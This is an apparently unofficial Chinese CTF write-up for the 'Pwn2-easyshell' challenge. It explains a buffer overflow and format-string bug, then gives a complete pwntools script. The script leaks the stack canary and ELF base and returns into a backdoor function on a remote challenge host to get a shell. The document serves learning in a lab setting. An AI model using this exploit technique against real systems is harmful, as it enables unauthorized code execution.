(非官方解,以下内容均互联网收集的信息和个人思路,仅供学习参考)
Pwn2-easyshell
func函数
有一个溢出和fmt漏洞
还给了后面函数,先利用fmt泄露出canary和elf地址,之后ret2text
from pwn import *
from ctypes import*
p=remote('182.92.237.102',10011)
FILENAME='../pwn'
# p=process(FILENAME)
# elf=ELF(FILENAME)
# libc=ELF('../libc.so.6')
# gdb.attach(p,'b* $rebase(0x133F)')
payload=b'flagis\x00'+b'%17$p--%15$p'
p.recvuntil(b'>>')
p.sendline(payload)
p.recvuntil(b'0x')
elf_add=int(p.recv(6*2),16)
elfbase=elf_add-0x1520
success('elfbase '+hex(elfbase))
p.recvuntil(b'0x')
canary=int(p.recv(8*2),16)
success('canary '+hex(canary))
backdoor=elfbase+0x1291
payload=b'exit'.ljust(56,b'\x00')+p64(canary)+p64(0)+p64(backdoor)
p.recvuntil(b'>>')
p.sendline(payload)
p.interactive()